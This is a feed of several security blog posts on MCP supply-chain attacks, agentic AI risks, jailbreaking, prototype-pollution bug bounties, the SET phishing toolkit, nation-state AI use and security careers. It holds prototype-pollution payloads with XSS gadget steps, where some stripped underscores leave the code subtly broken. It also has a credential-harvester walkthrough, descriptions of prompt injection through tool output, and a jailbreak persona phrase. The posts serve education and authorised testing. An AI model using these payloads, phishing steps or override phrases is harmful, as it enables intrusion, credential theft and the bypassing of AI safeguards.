Forem: Mr Elite

MCP Server Security Risks 2026 — Why Hackers Are Already Targeting Them

Mr Elite — Tue, 12 May 2026 07:00:10 +0000

In early 2026, a supply chain attack called ClawHavoc targeted users of the OpenClaw AI agent platform through its community skill repository. Malicious packages disguised as trading bots and developer utilities deployed information-stealing malware the moment they were installed. The attack vector was MCP — Model Context Protocol — the standard that connects AI agents to external tools and services. Most developers integrating MCP servers into their AI applications have never security-reviewed them. My breakdown of why this is the next major attack surface, what’s already been exploited, and what you need to check right now.

What You’ll Learn

What MCP servers are and how they extend AI agent capabilities
The specific security risks unvetted MCP servers introduce
The ClawHavoc case and what it teaches about MCP supply chain attacks
How to vet an MCP server before deployment
The ongoing MCP security landscape in 2026

⏱️ 12 min read ### MCP Server Security Risks — 2026 Guide 1. What MCP Servers Are 2. The MCP Attack Surface 3. ClawHavoc — The MCP Supply Chain Attack 4. How to Vet an MCP Server 5. MCP Security Governance MCP server security is the component of agentic AI security that most developers don’t think about until they’ve already deployed something vulnerable. MCP security sits at the intersection of agentic AI security and the AI supply chain attack landscape. My coverage of OWASP LLM05 (Supply Chain) in the OWASP AI Top 10 describes the category — my focus here is MCP specifically.

What MCP Servers Are

MCP — Model Context Protocol — is the open standard developed by Anthropic that defines how AI models connect to external tools, data sources, and services. My one-sentence summary for security teams: MCP is the mechanism that gives an AI agent hands. Without MCP, an AI can only produce text. With MCP, it can take actions in the real world. That distinction is the entire basis for the security concern. An MCP server is a piece of software that exposes a set of tools to an AI model through the MCP protocol. The AI can then call those tools as part of completing a task. Claude Code uses MCP servers to give Claude access to file systems, APIs, databases, and custom tools.

MCP ARCHITECTURE — SECURITY CONTEXTCopy

How MCP works

AI model ← MCP protocol → MCP server → external tool/service/data
AI sees: a list of available tools with descriptions
AI calls: a tool by name with parameters
MCP server: executes the actual action and returns result

What MCP servers can expose

File system access (read, write, delete)
Shell/terminal execution
API integrations (Slack, GitHub, Jira, Salesforce)
Database queries
Web browsing and scraping

Why this is a security-critical component

MCP server code runs with OS-level permissions on the host machine
AI can be directed to call any MCP tool via prompt injection
Malicious MCP server = attacker code with AI-level permissions

The MCP Attack Surface

My security concern with MCP is specifically the combination of two factors: most MCP servers are open-source packages downloaded and deployed with minimal security review, and they execute with the full permissions of the AI agent — which as I described in the agentic AI security guide, are often much broader than they should be.

MCP ATTACK VECTORSCopy

Attack 1: Malicious MCP server (supply chain)

Attacker publishes a useful-looking MCP server on npm/GitHub
Developer installs it → attacker code runs with AI agent permissions
Impact: credential theft, data exfiltration, persistence on developer machine

Attack 2: Compromised legitimate MCP server

Popular MCP server is maintained by a single developer
Attacker takes over maintainer account → publishes malicious update
All users auto-update → mass deployment of attacker code

Attack 3: Prompt injection via MCP tool output

MCP tool fetches external data (web page, database record)
Attacker embeds injection payload in that data
AI receives tool output containing hidden instructions → follows them

Attack 4: Overprivileged MCP tool exploitation

MCP server has file system + shell access + network access
Via prompt injection: attacker directs AI to use these tools maliciously
No separate exploitation needed — the legitimate tool IS the attack vector

ClawHavoc — The MCP Supply Chain Attack

ClawHavoc is the most instructive MCP supply chain attack to date. My analysis of the IBM X-Force report (April 2026): the attack is essentially identical to the npm supply chain attack pattern — but targeted at the AI agent ecosystem rather than the traditional developer ecosystem. The same developer habits that make npm supply chain attacks work (trust the package repository, install recommended packages) make MCP supply chain attacks work.

CLAWHAVOC — ATTACK ANALYSISCopy

What happened

Platform targeted: OpenClaw AI agent (community skill repository — ClawHub)
Method: malicious skills disguised as trading bots, utilities, development helpers
Payload: information-stealing malware deployed on developer machines at install
Source: IBM X-Force analysis, April 2026

How it avoided detection

Skills appeared functional — they did what they advertised
Malicious code was in the install/setup phase, not the runtime behaviour
Community skill repositories had less security scrutiny than npm/PyPI

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Agentic AI Security Risks in 2026 — The Attack Surface Every Organisation Needs to Understand

Mr Elite — Mon, 11 May 2026 22:15:50 +0000

In March 2026, an AI system called CyberStrikeAI compromised more than 600 FortiGate firewalls across 55 countries. No human operator directed the attack. The AI autonomously planned the campaign, identified vulnerable targets, executed exploitation, and maintained persistence — all within hours. This is not a prediction about future AI capabilities. It is a documented incident from 30 days ago. Agentic AI — AI that takes autonomous real-world actions — has crossed from research demonstration to operational attack tool. My analysis of what this means for defenders, and what needs to change immediately.

What You’ll Learn

What agentic AI is and how it differs from standard AI assistants
The specific attack surface agentic AI creates — what’s new and what’s amplified
The CyberStrikeAI incident and what it tells defenders
How to assess your organisation’s agentic AI attack surface
The defensive posture shift required right now

⏱️ 14 min read ### Agentic AI Security Risks — 2026 Red Team Guide 1. What Agentic AI Is 2. The New Attack Surface 3. The CyberStrikeAI Incident 4. Assessing Your Organisation’s Exposure 5. Defensive Posture for Agentic AI Agentic AI attacks are the operational deployment of the excessive agency risk I covered in OWASP LLM08. The MCP server security risks that enable agentic attacks are covered in MCP Server Security 2026. The broader AI vulnerability landscape is in the AI Vulnerabilities overview.

What Agentic AI Is

Standard AI assistants respond to prompts. The security industry spent 2023 and 2024 largely focused on prompt injection and jailbreaking — attacks against the text generation layer. Agentic AI shifts that threat model entirely, and my concern is that most security teams haven’t caught up. Agentic AI takes actions. The distinction matters enormously for security. When an AI assistant gets prompt-injected, it produces malicious text. When an agentic AI gets prompt-injected, it takes malicious actions — sends emails, executes code, makes API calls, modifies files, accesses databases. The blast radius of a compromised agentic AI is the union of everything it has permission to do.

AGENTIC AI — THE SECURITY-RELEVANT DISTINCTIONCopy

Standard AI assistant

Input: user prompt → Output: text response
Actions: none — produces text only
Compromise impact: produces wrong or malicious text

Agentic AI

Input: goal or task → Output: real-world actions
Actions: browse web, read/write files, execute code, call APIs, send messages
Compromise impact: takes attacker-directed actions with its full permission set

2026 deployment reality

AI coding agents: Claude Code, Cursor, Devin — file system + shell + git access
AI SOC analysts: read SIEM, create tickets, block IPs, send alerts
AI sales/customer agents: CRM access, email send, contract generation
AI DevOps agents: deploy code, scale infrastructure, modify configs
Per Deloitte: approximately 25% of organisations are now piloting autonomous AI agents — and that figure is from Q4 2025, so the current number is meaningfully higher

The New Attack Surface

Before I walk through each attack layer, a note on scope: I’m specifically focused on deployed agentic AI — AI agents organisations have put into production, not research demonstrations. The threat model is different when the agent has real credentials, real data access, and real business consequences attached to its actions. My framework for the agentic AI attack surface separates it into three layers: the AI model layer (prompt injection attacks), the tool/permission layer (what the agent can access and do), and the identity layer (how the agent authenticates and is authenticated). All three need independent security assessment. Most organisations assessing AI deployments focus only on the first.

AGENTIC AI ATTACK SURFACE — THREE LAYERSCopy

Layer 1: AI Model (prompt injection)

Attack: indirect injection via content agent processes (emails, docs, web pages)
Impact: agent follows attacker instructions instead of operator instructions
Documented: Copilot email exfiltration, ChatGPT memory manipulation

Layer 2: Tools and Permissions

Attack: exploit overprivileged agent to take high-impact actions
Impact: agent deletes files, exfiltrates data, deploys malicious code, makes payments
Key question: what is the blast radius if this agent is fully compromised?

Layer 3: Agent Identity

Attack: impersonate agent identity to downstream systems
Attack: abuse agent’s credentials to access systems without going through the LLM
Gap: traditional IAM wasn’t built for AI agent identity management
2026 trend: Google, Microsoft, AWS all shipping AI-specific IAM features

The compounding risk (Layer 1 × Layer 2)

Low-permission agent + prompt injection → limited impact
High-permission agent + prompt injection → catastrophic impact
The CyberStrikeAI attack was essentially a Layer 2 attack: high permissions + automation

The CyberStrikeAI Incident

The CyberStrikeAI campaign is the clearest documented example of fully autonomous AI operating as an attack engine. My reading of the Foresiet incident analysis (April 2026): what’s most significant isn’t the technical capability — autonomous exploitation has been demonstrated in research settings for years. What’s significant is that it deployed operationally against production infrastructure at scale, with no human operator in the attack chain.

CYBERSTRIKE AI ATTACK — DOCUMENTED LIFECYCLECopy

What happened (March 2026)

Targets: 600+ FortiGate firewalls across 55 countries
Operator: no human operator in the attack chain
Method: autonomous AI — reconnaissance, exploitation, persistence
Source: Foresiet verified incident report, April 7 2026

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What Is AI Jailbreaking? How People Break AI Safety Rules

Mr Elite — Mon, 11 May 2026 20:06:23 +0000

Every major AI assistant has safety guidelines — rules about what it will and will not help with. Jailbreaking is the practice of crafting prompts that convince an AI to ignore those rules. It does not require technical skills, just creative prompt writing. The AI does not get “hacked” in any traditional software sense — it is persuaded through text alone. Here is exactly how it works, why AI companies take it seriously, what the documented techniques look like at a conceptual level, and what it means for organisations deploying AI tools.

What You’ll Learn

What AI jailbreaking is and how it works in plain English
The different categories of jailbreaking techniques
Real documented cases and why AI companies respond seriously
Why jailbreaking is harder than it looks — and why it still happens
What jailbreaking means for businesses deploying AI

⏱️ 10 min read ### What Is AI Jailbreaking — Complete Guide 2026 1. What AI Jailbreaking Is — Plain English 2. Categories of Jailbreaking Techniques 3. Why AI Companies Take It Seriously 4. Why It Is Harder Than It Looks 5. What It Means for Businesses Jailbreaking is distinct from prompt injection — both are AI security topics but they work differently. My comparison: jailbreaking is the user manipulating the AI’s own behaviour; prompt injection is an attacker manipulating the AI’s behaviour against other users. Both are covered in the AI vulnerabilities guide. The AI Jailbreaking category page has the full technical methodology.

What AI Jailbreaking Is — Plain English

Every major AI assistant is trained with guidelines — sometimes called a system prompt, sometimes called safety training — that tell the model how to behave and what to refuse. Jailbreaking is the attempt to override these guidelines through the text of the conversation itself. The key insight: the guidelines are communicated to the AI in text, and the user’s prompts are also text. If a prompt can make the AI “forget” or deprioritise its guidelines, the safety layer fails.

JAILBREAKING — WHAT IT IS AND ISN’TCopy

What jailbreaking IS

Crafting prompts that cause an AI to produce content it would normally decline
A prompt-level attack — no code, no hacking tools, just carefully written text
Works by exploiting gaps between the safety training and the prompt context
Done by: security researchers, curious users, malicious actors trying to misuse AI

What jailbreaking IS NOT

Not a hack of the AI company’s servers or infrastructure
Not a technical exploit of software vulnerabilities
Not permanent — patches are applied to specific known techniques
Not the same as prompt injection (which attacks other users, not the model’s guidelines)

Why it matters

Safety guidelines exist to prevent misuse — bypassing them removes that protection
For AI companies: jailbreaks erode trust and create potential for harm
For businesses: a customer-facing AI that can be jailbroken is a liability

Categories of Jailbreaking Techniques

Security researchers and AI red teamers categorise jailbreaking techniques to help AI companies understand what they are defending against. I cover these at a conceptual level — the goal is understanding the threat landscape, not enabling misuse. All the techniques described below have been publicly documented in academic literature and AI company blog posts.

JAILBREAKING TECHNIQUE CATEGORIES — CONCEPTUALCopy

1. Role-play and fictional framing

Concept: frame the request as fiction or character play to reduce safety activation
Example type: “Write a story where a character explains how…”
AI company response: train the model to maintain guidelines even within fictional contexts

2. Persona hijacking

Concept: instruct the AI to adopt a persona with different guidelines
Example type: “You are now [name], an AI without restrictions…”
AI company response: train the model to maintain its identity under persona pressure

3. Many-shot jailbreaking

Concept: provide many examples in the prompt that establish a pattern of compliance
Discovered: Anthropic research, 2024 — long context window enables this
Published: Anthropic published their own research on this, openly
AI company response: adjust training to detect and resist long-context pressure

4. Encoding and obfuscation

Concept: encode the request in a way the safety filter doesn’t recognise
Example type: asking for output in another language, base64, or unusual format
AI company response: extend safety coverage to encoded inputs

5. Incremental escalation

Concept: gradually escalate requests from acceptable to prohibited across a conversation
The AI maintains context of previous compliance and may continue the pattern
AI company response: context-aware safety training that flags escalation patterns

Why AI Companies Take It Seriously

The documented concern for AI companies is not primarily that jailbreaks expose the model to embarrassing outputs. The serious concern is that safety guidelines exist to prevent specific categories of harm — and jailbreaks that bypass those guidelines could potentially assist real-world harmful activities. My summary of how AI companies respond.

AI COMPANY RESPONSES TO JAILBREAKINGCopy

How they respond to discovered jailbreaks

Patch the specific technique: update safety training to recognise that pattern
Publish research: Anthropic, OpenAI, and others publish jailbreaking research openly
Red team programmes: internal AI red teams continuously test their own models
Bug bounty programmes: pay researchers to find and responsibly disclose jailbreaks

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Prototype Pollution Bug Bounty 2026 — Client-Side, Server-Side & RCE Escalation | BB Day 28

Mr Elite — Mon, 11 May 2026 17:41:20 +0000

🎯 BUG BOUNTY COURSE

FREE

Part of the Bug Bounty Mastery Course — 60 Days

Day 28 of 60 · 46.7% complete

⚠️ Authorised Targets Only. Test prototype pollution only against systems you own or have explicit written permission to test. All exercises target PortSwigger labs or your own local Node.js environment.

Prototype pollution is the bug that keeps paying — I have found it on three separate engagements on the same application category. My go-to detection is a quick URL probe; my first escalation step is always gadget hunting in the app’s JavaScript. I have found it on three separate engagements on the same application category — SPAs using JavaScript-heavy frontends with deep merge functions — because the root cause is almost always the same one-liner: an unsafe recursive merge that treats __proto__ as a normal property. Client-side prototype pollution can chain to DOM XSS. Server-side in Node.js can chain to RCE. The payloads are short, the impact is high, and most automated scanners miss it entirely. Here’s the complete Prototype Pollution Bug Bounty 2026 methodology.

🎯 What You’ll Master in Day 28

Understand how prototype pollution works in JavaScript
Identify client-side and server-side pollution sinks
Chain client-side PP to DOM XSS via gadget chains
Escalate server-side PP to RCE in Node.js applications
Write a complete bug bounty report for a PP finding

⏱️ 40 min read · 3 exercises · Day 28 of 60 #### ✅ Before You Start - Day 27 — Path Traversal & LFI — input reaching a sensitive function on the filesystem. Prototype pollution works differently: attacker-controlled input modifies the JavaScript prototype chain. Same principle of “trust without validation,” different execution environment. - Browser DevTools · PortSwigger Academy account · Node.js installed for server-side testing ### 📋 Day 28 — Prototype Pollution Bug Bounty 1. How Prototype Pollution Works 2. Client-Side PP — DOM XSS Chains 3. Server-Side PP — Node.js RCE 4. Finding Prototype Pollution in the Wild 5. Bug Bounty Report Structure Prototype pollution sits in the web application security cluster alongside SSTI and path traversal — all three exploit server-side processing of attacker-controlled input. The Kali Linux Commands reference has the curl and Node.js invocation syntax for testing PP payloads in server-side contexts.

How Prototype Pollution Works

Every JavaScript object inherits properties from its prototype. My mental model for teaching this: think of Object.prototype as a shared notepad — if I write on it, everyone in the room can read what I wrote, whether or not I intended them to. Object.prototype is the root — properties added to it appear on every object. Prototype pollution occurs when an attacker can inject a property into Object.prototype via a path like __proto__, constructor.prototype, or prototype. Any code that later reads that property from any object will receive the attacker-controlled value — even code that has nothing to do with the original injection point.

PROTOTYPE POLLUTION — MECHANICSCopy

The vulnerable pattern — unsafe merge/deep clone

function merge(target, source) {
for (let key in source) {
if (typeof source[key] === ‘object’) {
merge(target[key], source[key]); // VULNERABLE: target[key] can be proto
} else {
target[key] = source[key];
}
}
}

Attack payload pollutes Object.prototype

merge({}, JSON.parse(‘{“proto”:{“polluted”:”yes”}}’))
// Now: ({}).polluted === “yes” ← ALL objects inherit this

Three injection vectors

?proto[polluted]=yes # URL query parameter
{“proto”:{“polluted”:”yes”}} # JSON body
?constructor[prototype][polluted]=yes # alternative path

Quick confirm in browser console

({}).polluted // should be undefined before, “yes” after pollution

Client-Side PP — DOM XSS Chains

Client-side prototype pollution by itself is a Medium finding in my reports. Chained to a DOM XSS gadget it becomes High or Critical — and I always attempt escalation before submitting. My first step after confirming client-side PP is always the gadget search. Chained to a DOM XSS gadget it becomes High or Critical. The chain: pollute a property that a DOM sink later reads without sanitisation — the sink executes your value as HTML or JavaScript. My first step after confirming client-side PP is always searching for gadgets in the application’s JavaScript files that read from polluted prototype properties into sinks like innerHTML, document.write, or eval.

CLIENT-SIDE PP — DOM XSS CHAINCopy

Step 1: Confirm prototype pollution via URL

https://target.com/?__proto__[testprop]=confirmed
Open DevTools Console: ({}).testprop → “confirmed” = polluted

Step 2: Search for gadgets in app JS

Look for patterns reading undefined properties into DOM sinks:
innerHTML = options.template // if template is undefined, reads from proto
eval(config.callback) // if callback polluted → XSS via eval
document.write(settings.html) // if html polluted → XSS

Step 3: Craft XSS payload via pollution

https://target.com/?__proto__[template]=
If app later does: el.innerHTML = options.template (where options has no template)
→ reads from proto.template → XSS executes

Chrome DevTools — check prototype pollution

// In console after visiting the URL:
Object.prototype.template // returns your injected value if polluted
window.proto // inspect prototype chain

🛠️ EXERCISE 1 — BROWSER (20 MIN · NO INSTALL)
Research Disclosed Prototype Pollution Reports on HackerOne

⏱️ 20 minutes · Browser only

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SET Social Engineering Toolkit 2026 — Spear-Phishing, Credential Harvesting & Payloads | Kali Linux Day 26

Mr Elite — Mon, 11 May 2026 14:55:56 +0000

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Part of the 180-Day Kali Linux Mastery Course

Day 26 of 180 · 14.4% complete

⚠️ Authorised Engagements Only. SET automates attacks that look convincingly real. Every exercise targets your own lab environment. Phishing real targets without written authorisation is illegal.

✅ Before You Start

Day 25 — BeEF-XSS — browser hooking via XSS. SET takes the same attack surface into the human layer: instead of hooking a browser through a vulnerability, we deliver the payload through a convincing phishing email or cloned site.
Kali Linux running · Python3 + SET installed (pre-installed in Kali) · DVWA or your own test webserver for cloning

Every pentest report I write includes a social engineering finding. Not because clients ask for it — they usually don’t — but because the technical controls they’ve spent hundreds of thousands on are bypassed the moment someone clicks a convincing email. SET (Social Engineering Toolkit) is the tool that demonstrates that gap in an authorised, reproducible way. Today I show you the full SET workflow: credential harvester, spear-phishing email vector, and the payload delivery chain that turns a convincing login page into an exploitation path.

🎯 What You’ll Master in Day 26

Launch SET and navigate the Social Engineering Attacks menu
Run the Credential Harvester to clone a login page and capture credentials
Craft and send a spear-phishing email with a payload link
Understand SET’s payload delivery options and when each applies
Write a social engineering finding for a pentest report

⏱️ 40 min read · 3 exercises · Day 26 of 180 ### 📋 Day 26 — SET Social Engineering Toolkit 1. SET Overview — Architecture and Attack Vectors 2. Credential Harvester — Clone and Capture 3. Spear-Phishing Email Attack Vector 4. Payload Delivery — Executable and HTA Files 5. Reporting Social Engineering Findings SET sits at the intersection of ethical hacking methodology and web security — it automates the human-layer attacks that OWASP describes theoretically. The Phishing URL Scanner is the blue team tool that defends against exactly what SET creates. Understanding both sides is the approach I take in every engagement. The full tool reference is in the Kali Linux Commands reference.

SET Overview — Architecture and Attack Vectors

SET (Social Engineering Toolkit) is a Python-based framework created by TrustedSec. It automates the construction and delivery of social engineering attacks for authorised penetration testing. My most-used attack vectors are the Credential Harvester (clones a legitimate login page and captures submitted credentials) and the Spear-Phishing Email Vector (delivers a payload via crafted email). Both demonstrate the human attack surface to clients who believe technical controls alone are sufficient.

LAUNCHING SET AND NAVIGATING THE MENUCopy

Launch SET (requires root)

sudo setoolkit

Main menu:

1) Social-Engineering Attacks ← primary menu
2) Penetration Testing (Fast-Track)
3) Third Party Modules

Social Engineering Attacks sub-menu

1) Spear-Phishing Attack Vectors ← email payload delivery
2) Website Attack Vectors ← credential harvester, tabnabbing
3) Infectious Media Generator ← USB autorun payloads
4) Create a Payload and Listener ← MSF payload generation
5) Mass Mailer Attack ← bulk phishing campaign

Website Attack Vectors sub-menu (most used)

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method ← TODAY
4) Tabnabbing Attack Method
5) Web Jacking Attack Method

Credential Harvester — Clone and Capture

The Credential Harvester clones a target website’s login page, hosts it on my Kali machine, and captures any credentials submitted through the fake page — forwarding the victim to the real site afterwards so they don’t notice. The clone is pixel-perfect because SET scrapes the real HTML. The victim sees their normal login page, submits credentials, gets redirected to the real site, and never realises their password was captured.

CREDENTIAL HARVESTER — STEP BY STEPCopy

Navigation path in SET

Main Menu → 1 (Social Engineering) → 2 (Website Attacks) → 3 (Credential Harvester)

SET asks: Site Cloner or Custom Import?

1) Web Templates → pre-built templates (Gmail, Facebook, etc.)
2) Site Cloner → clone ANY URL (most useful in assessments)
3) Custom Import → supply your own HTML

Site Cloner workflow

IP address for the POST back: [YOUR KALI IP]
Enter the URL to clone: http://localhost/dvwa/login.php

SET clones the page, starts web server on port 80

Output: [*] Cloning the website: http://localhost/dvwa/login.php

[*] This could take a little bit…

[*] Harvester is ready, start sending mails

Victim visits: http://YOUR_KALI_IP/

They see cloned DVWA login, submit credentials

SET output shows:

[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: username=admin
POSSIBLE PASSWORD FIELD FOUND: password=password

securityelites.com

SET Credential Harvester — Credential Capture Output
[] Harvester is ready, start sending mails
[] SET Web Server is listening on port: 80
…victim visits cloned page and submits credentials…
[] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: username=admin
POSSIBLE PASSWORD FIELD FOUND: password=password
[] WHEN YOU’RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
Captured credentials saved to: /root/.set/reports/

📸 SET Credential Harvester output showing captured credentials. The “[*] WE GOT A HIT!” line appears the moment a victim submits the cloned login form. SET captures the raw POST data — username, password, and any other form fields. The victim is simultaneously redirected to the real DVWA login page, so from their perspective the login simply “failed once and then worked.” In a real engagement, this output appears in my terminal while I’m watching the phishing campaign — each credential submission is logged with timestamp and full field values.

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Nation-State AI Cyberwarfare 2026 — How Governments Use LLMs to Attack

Mr Elite — Mon, 11 May 2026 13:45:04 +0000

The most significant change in nation-state cyber operations over the past two years isn’t a new exploit technique or a novel malware family. It’s the integration of large language models into every phase of the attack lifecycle — from initial reconnaissance through spear-phishing generation, vulnerability research, lateral movement planning, and disinformation at scale. I track these campaigns because understanding what the most well-resourced threat actors are doing today defines what every organisation will face tomorrow. The AI tools nation-states are deploying operationally right now will be commoditised and available to criminal groups within 18 months. This is the briefing I give before every red team engagement in the public sector.

What You’ll Learn

How nation-state actors are integrating AI into offensive cyber operations
Documented APT AI capabilities from public intelligence reports
The specific AI tools and LLM use cases at each phase of the kill chain
How AI changes attribution — and what defenders must adapt
The defensive posture shift required against AI-assisted adversaries

⏱️ 35 min read · 3 exercises ### Nation-State AI Cyberwarfare 2026 – Contents 1. Documented Nation-State AI Use Cases 2. AI Across the Cyber Kill Chain 3. AI and the Attribution Problem 4. AI-Enabled Disinformation Operations 5. Defensive Adaptation — What Changes Nation-state AI operations sit at the intersection of the AI Security series and the Penetration Testing methodology — the techniques documented in state actor campaigns are the same techniques red teams simulate. The AI Red Teaming Guide covers how to test for the AI-assisted attack patterns described here.

Documented Nation-State AI Use Cases

My starting point for every nation-state AI briefing is the public record. Microsoft’s Threat Intelligence reports, OpenAI’s own disclosures of nation-state threat actors removed from their platform, and CISA advisories provide a documented baseline that I don’t need to speculate about. The key actors publicly confirmed to be integrating AI into cyber operations span four major nation-state threat groups.

DOCUMENTED NATION-STATE AI CAPABILITIES — PUBLIC RECORDCopy

Russia — Fancy Bear / APT28 (Forest Blizzard)

Disclosed: Using LLMs for research into satellite communication protocols
Disclosed: Scripting and automation tool development using AI assistance
Disclosed: Research into radar signal processing (critical infrastructure targeting)
Source: Microsoft Threat Intelligence + OpenAI disclosure (Feb 2024)

North Korea — Lazarus / Kimsuky (Emerald Sleet)

Disclosed: AI-generated spear-phishing targeting defence and think tank researchers
Disclosed: Social engineering content generation in multiple languages
Disclosed: Research into publicly known vulnerabilities for exploitation planning
Source: OpenAI disruption report (Feb 2024)

China — APT40 / Volt Typhoon (Salmon Typhoon)

Disclosed: Using LLMs to research technical topics relevant to operational targets
Disclosed: Translation tasks for intelligence processing
Disclosed: Researching Western intelligence techniques and public reporting
Source: Microsoft + OpenAI joint disclosure (Feb 2024)

Iran — APT35 / Charming Kitten (Crimson Sandstorm)

Disclosed: Phishing campaign assistance, social engineering content
Disclosed: Research into open-source tools for red team activity
Disclosed: Code writing assistance for malware development workflows
Source: OpenAI disruption report (Feb 2024)

My Reading of the Disclosures: The February 2024 OpenAI and Microsoft joint report is the most important public document on nation-state AI use to date. What’s striking isn’t what they were doing — most uses were research assistance and content generation, not novel AI exploitation. What’s striking is that these actors were caught using commercial AI APIs that log everything. My assessment: the disclosed activity represents the lowest-sophistication tier of their AI operations. The classified tier will be running private models with no telemetry.

AI Across the Cyber Kill Chain

My framework for thinking about nation-state AI integration maps each kill chain phase to the specific AI capability that changes the threat. The pattern is consistent: AI compresses the time and skill requirements at every phase, and it particularly narrows the gap between state-level and criminal-level capability.

AI IN THE CYBER KILL CHAIN — NATION-STATE APPLICATIONSCopy

Phase 1: Reconnaissance

Traditional: analysts manually review LinkedIn, public docs, job postings
AI-enabled: automated OSINT synthesis → target profiles at 10,000x scale
LLM use: “Generate a targeting profile from this LinkedIn data and identify insider risk indicators”
Impact: breadth of targeting now unconstrained by analyst headcount

Phase 2: Weaponisation / Spear-Phishing

Traditional: one native-language operator per language target → low scale
AI-enabled: hyper-personalised spear-phish in any language, any register
Documented: North Korean operators using LLMs to write English-language research lures
Impact: language barrier eliminated → every target reachable in native language

Phase 3: Delivery / Initial Access

AI use: optimising payload delivery based on target’s email client, AV profile
AI use: generating convincing cover identities for watering hole operations
AI use: vulnerability research for zero-day discovery (see AQ49)

Phase 4: Post-Exploitation / Lateral Movement

AI use: LLM-assisted code generation for custom implants → faster development
AI use: real-time “what should I do next” guidance from AI given network context
Research: AI C2 frameworks where the model decides lateral movement targets
Impact: operator skill floor drops significantly → less experienced operators achieve more

Phase 5: Exfiltration / Objectives

AI use: automated document triage — “which of these 50,000 files contain nuclear data?”
AI use: translation of exfiltrated foreign-language documents at scale
AI use: pattern detection in structured data (financial, communications) for intelligence value

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Will AI Replace Cybersecurity Jobs in 2026? The Honest Answer

Mr Elite — Sun, 10 May 2026 17:11:04 +0000

The short answer is no — but the more useful answer is “it depends on what you do.” AI is already changing specific security tasks, making some roles more productive and making others less necessary at current staffing levels. My experience working with security teams: organisations are hiring security professionals who understand AI, not replacing teams with AI. Here is the honest breakdown of what is changing, what is not, and exactly what to do if you are building or protecting a cybersecurity career in 2026.

What You’ll Learn

Which security tasks AI is genuinely automating in 2026
Which roles are growing because of AI, not shrinking
The specific skills that make security professionals AI-resistant
Salary data for the new AI security roles
Your career plan for the next 3–5 years

⏱️ 12 min read ### Will AI Replace Cybersecurity Jobs in 2026 — Honest Answer 1. What AI Is Actually Automating 2. Roles That Are Growing Because of AI 3. Tasks Most At Risk of Automation 4. Skills That Matter Most Going Forward 5. Career Planning for the AI Era The AI tools changing security work are covered in the AI for Cybersecurity guide. The technical AI security skills in demand are in the AI Red Teaming Guide.

What AI Is Actually Automating

My direct observation from working with security teams in 2025 and 2026: AI has measurably reduced the manual effort in specific, well-defined tasks. The pattern is consistent — AI handles the volume processing while humans handle the judgment calls. The roles that have seen the most change are tier-1 SOC analysts and vulnerability triage specialists.

TASKS AI IS CHANGING — 2026 REALITY CHECKCopy

Tasks with high automation in production today

Tier-1 alert triage: AI pre-scores and filters → analyst handles escalated alerts
Log correlation: AI surfaces anomalies from millions of events
Vulnerability prioritisation: AI-scored vuln lists replace manual CVSS triage
Phishing classification: AI classifies at inbox scale, no human per email
Threat intel digestion: AI summarises feeds and CVE descriptions automatically

What this means for headcount (honest)

Teams are NOT shrinking — they’re handling 2–3x the alert volume with the same headcount
Tier-1 hiring is slowing: fewer entry-level triage roles being backfilled when vacated
Senior hiring is growing: experienced analysts who can work with AI tools in high demand

Roles That Are Growing Because of AI

The roles I see in active demand in hiring: AI security is a category that barely existed three years ago. Organisations deploying AI tools need people who can assess, govern, and test those systems. This is entirely new demand, not redeployment.

GROWING SECURITY ROLES — AI ERA DEMANDCopy

New roles created by AI

AI Security Engineer: secure and monitor AI systems in production ($130K–$200K+)
AI Red Teamer: test AI for prompt injection, jailbreaking, data leakage ($140K–$220K)
AI Governance Analyst: policy, compliance, and risk management for AI ($100K–$150K)
AI Threat Intelligence: track AI-powered attack campaigns and threat actor tooling ($110K–$160K)

Existing roles amplified

Senior SOC Analysts: tier-1 automated → demand for senior analysts grows
Incident Responders: better detection → more IR work, not less
Penetration Testers: AI tools increase output per tester → more valuable
Security Architects: AI adds new attack surfaces requiring architectural review

securityelites.com

Security Role Demand — AI Era Snapshot 2026

Role
Trend
Reason
AI Security Engineer
↑↑ Growing
New category
AI Red Teamer
↑↑ Growing
High demand
Senior SOC Analyst
↑ Stable+
AI amplified
Penetration Tester
↑ Growing
AI-assisted
Tier-1 SOC Analyst
→ Flat
Partial automation
Basic Vuln Analyst
↓ Slower
Automating fast

📸 Directional demand indicators for security roles in the AI era. These reflect the pattern across job boards and hiring conversations in 2025–2026. The overall security job market is growing — AI is reshaping where within security the demand sits, not eliminating it. Roles with AI-augmented productivity are growing; roles whose core function AI can fully automate are seeing slower replacement hiring.

Tasks Most At Risk of Automation

My honest assessment of the tasks where AI is most likely to reduce headcount over the next three to five years. I frame these as tasks rather than roles because most security roles involve a mix of automatable and non-automatable work — and the professionals who stay ahead actively migrate away from the automatable parts.

TASKS AT HIGHEST AUTOMATION RISKCopy

Automating now (already in production)

Basic vulnerability reporting: scan → list → description (AI does this today)
Compliance checklist execution: fixed checklists against known standards
First-pass phishing review: “is this email a phish?” → AI answers accurately
Routine patch prioritisation: CVSS + EPSS + asset context → AI-generated order

Lower automation risk — human expertise still leads

Novel threat actor research: TTPs and motivations require human analysis
Complex incident response: multi-stakeholder decisions with full business context
Creative red team operations: adversarial thinking, novel attack chains
Security architecture: trade-offs, alignment with specific business context
Board/exec communication: trust, relationships, risk framing for non-technical audiences

Skills That Matter Most Going Forward

My guidance for security professionals planning their next three to five years: invest in skills AI augments, not skills AI replaces. The clearest pattern I see is that professionals who understand AI security — both as a capability and as an attack surface — command disproportionately high demand and salary premiums.

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Cracking Passwords using AI in 2026 - How AI Makes Weak Passwords Even More Dangerous

Mr Elite — Sun, 10 May 2026 14:21:38 +0000

A password that would have taken traditional cracking tools 5 years to crack by brute force can now be cracked in minutes using AI-assisted techniques. PassGAN — a neural network trained on real leaked passwords — generates new password guesses based on the patterns in billions of real passwords that people have actually used and exposed in breaches. This isn’t science fiction; it’s 2023 research from Home Security Heroes that has been replicated, extended, and incorporated into real-world attack tooling. Here’s what the research actually shows, what it means for your passwords, and how to check whether yours are at risk.

What You’ll Learn

How Cracking passwords using AI works — PassGAN and beyond
What the research actually shows vs what was overstated
Which password patterns AI cracks fastest
How to check if your passwords are already exposed
What makes a password genuinely resistant to AI cracking in 2026

